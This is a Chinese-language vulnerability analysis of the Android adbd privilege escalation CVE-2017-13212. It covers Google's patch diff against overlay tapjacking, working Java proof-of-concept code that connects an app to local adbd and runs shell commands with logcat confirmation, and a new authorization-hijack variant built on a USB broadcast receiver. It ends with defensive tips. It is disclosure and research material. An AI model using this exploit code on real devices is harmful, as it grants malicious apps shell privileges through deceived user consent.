ADB配置提權漏洞(CVE-2017-13212)原理與利用分析
*本文原創作者:Tasfa,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
0x01 背景
adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、屏幕截圖等等高許可權操作。不過移動端惡意應用程序必須能夠連接到adbd正在監聽的TCP埠,這就需要應用程序在它的AndroidMainifest.xml中定義INTERNET許可權。
而漏洞作者所用的攻擊方法是構造一個覆蓋窗口,劫持用戶點擊,也就是經典的hijack攻擊。Google也據此修復了此種攻擊方式。
但是,我經過嘗試後發現,除了以上構造hijack攻擊窗口外,還可以劫持USB廣播,然後在用戶進行正常的連接電腦操作時,劫持授權界面,使用戶誤導從而進行授權。也即造成新的劫持授權漏洞方案。
影響:
0x02 原理分析
為了能利用此adb配置漏洞,首先需要adb connect到adbd正在監聽的埠,然後移動端會發起授權驗證窗口,用戶授權,驗證通過後,可使用adb shell命令執行shell許可權操作。
使用adb命令「adb tcpip port」來啟用adbd以監聽TCP埠
adb tcpip 5555
在啟用了USB調試,且adbd正處於TCP埠監聽的情況下,惡意應用程序可以利用自帶的adb二進位文件連接adbd,或者可以實現adb server協議與adbd通信。如果adb server尚未被設備授權,則會觸發認證請求並提示用戶驗證並接受RSA公鑰(引用[2])。但此認證框可被覆蓋(Google已經修復),具體可見參考文章。
分析下diff:
diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
index f5447a2..329dd99 100644
--- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
+++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
@@ -31,8 +31,12 @@
import android.os.SystemProperties;
import android.util.Log;
import android.view.LayoutInflater;
+import android.view.MotionEvent;
import android.view.View;
+import android.view.Window;
+import android.view.WindowManager;
import android.widget.CheckBox;
+import android.widget.Toast;
import com.android.internal.app.AlertActivity;
import com.android.internal.app.AlertController;
@@ -48,6 +52,10 @@
@Override
public void onCreate(Bundle icicle) {
+ Window window = getWindow();
+ window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS);
+ window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG);
+
super.onCreate(icicle);
if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) {
@@ -79,6 +87,23 @@
ap.mView = checkbox;
setupAlert();
+
+ // adding touch listener on affirmative button - checks if window is obscured
+ // if obscured, do not let user give permissions (could be tapjacking involved)
+ //增加了對偽造窗口的認證判定,防止用戶被誤導授權
+ final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> {
+ // Filter obscured touches by consuming them.
+ if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)
+ || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) {
+ if (event.getAction() == MotionEvent.ACTION_UP) {
+ Toast.makeText(v.getContext(),
+ R.string.touch_filtered_warning,
+ Toast.LENGTH_SHORT).show();
+ }
+ return true;
+ }
+ return false;
+ };
+ mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener);
}
問題:
1. 貌似只是對偽造窗口進行了防禦,可漏洞難道不是因為TCP埠監聽而造成提權嗎?
2. 那也就是用戶授權後,依舊可以在移動端獲取shell許可權?
結論:
確實可以在移動端獲取到shell許可權
思考
那如果假設能監聽用戶是否連接USB,在用戶進行正常的USB連接PC操作時,劫持授權窗口,即彈出我們的授權,也可以造成用戶誤導授權。
結論:
確實可以構造接收廣播,當USB連接到PC時,會優先彈出我們的授權窗口,從而誤導用戶獲得授權
攻擊思路:
靜態註冊監聽USB連接狀態的廣播,優先順序設置為最高
一旦監聽到連接,啟動後台service,執行連接命令
此時會優先彈出我們的授權窗口,由於授權窗口並沒有說明來自哪裡的彈窗,見下圖對比,僅僅是RSA指紋不同,即使是技術人員,也很難識別是來自哪裡的授權窗口。
PC端授權窗口
apk惡意授權窗口
0x03 漏洞利用
試驗環境: Android 4.4.4 Nexus 5
PC端執行
adb tcpip 5555
作者攻擊思路驗證Poc:
private void escalatePrivilege() {
/*
如果大於android 6.0
需要使用預編譯的adb可執行二進位文件
*/
try {
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
String[] idCmd = {"adb","shell","id"};
execCommand(connectCmd);
execCommand(idCmd);
} catch (Exception e) {
Log.d(TAG, "escalatePrivilege: " + e.toString() );
}
}
private void readData(InputStream inputStream){
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String data ;
while (true) {
try {
data = reader.readLine();
if(data == null) {
break;
}
Log.d(TAG, "output: " + data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private Process execCommand(String[] cmds){
ProcessBuilder builder = new ProcessBuilder();
Process execCommandProcess = null;
builder.command(cmds);
builder.directory(this.getFilesDir());
builder.redirectErrorStream(true);
Map<String, String> env = builder.environment();
env.put("HOME", this.getFilesDir().toString());
env.put("TMPDIR", this.getFilesDir().toString());
try {
execCommandProcess = builder.start();
execCommandProcess.waitFor();
readData(execCommandProcess.getInputStream());
}catch (InterruptedException e){
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return execCommandProcess;
}
會彈出USB調試授權窗口,google已經修復此覆蓋hijack漏洞。
Logcat輸出:
output: connected to 127.0.0.1:5555
output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
備註:
可能在實驗的時候,會沒有彈出授權窗口,此時刪除apk,撤銷USB授權後,重啟機器可還原環境。
0x04 思考部分攻擊思路Exp
AndroidManifest.xml 增加USB廣播:
<receiver
android:name=".UsbBroadcastReceiver"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="100">
<action android:name="android.hardware.usb.action.USB_STATE"/>
</intent-filter>
</receiver>
然後在接收廣播後,啟動service,在onStartCommand中進行連接:
public int onStartCommand(Intent intent, int flags, int startId) {
Log.d(TAG, "onStartCommand: adb vul");
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
execCommand(connectCmd);
return super.onStartCommand(intent, flags, startId);
}
此時只要用戶打開過該惡意應用,然後連接USB至電腦,則會彈出惡意的授權窗口:
只有用戶點擊一律允許後,再次連接usb才會彈出pc端的授權,也因此造成了用戶的誘導.
0x05 防禦與總結
防禦
在進行試驗的時候,漏洞利用階段相對不穩定,有時候在連接的時候,並沒有正常的彈窗,具體原因暫不明,後續有時間再研究。只要能正常彈出授權窗口,那麼以上的攻擊思路也即生效。
盡量在正規應用商店下載應用,不要授權來歷不明的PC,注意授權的指紋信息
漏洞由於需要用戶授權,也因此嚴重程度較低
總結
正向思考: 在用戶進行正常授權後,可獲得shell許可權,也即可以在移動端實現靜默安裝、卸載等等功能。
通過授權劫持攻擊,惡意應用可以在用戶不知情的情況下獲取高許可權,從而對系統造成破壞。
0x06 參考
Privilege Escalation via adbd Misconfiguration
經驗分享 | 通過adbd配置漏洞在安卓設備上提升許可權
*本文原創作者:Tasfa,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※專訪Fortinet全球安全戰略官Derek Manky:共享威脅情報,協同打擊犯罪
※Paperclip中的伺服器端請求偽造(SSRF)漏洞分析
TAG:FreeBuf |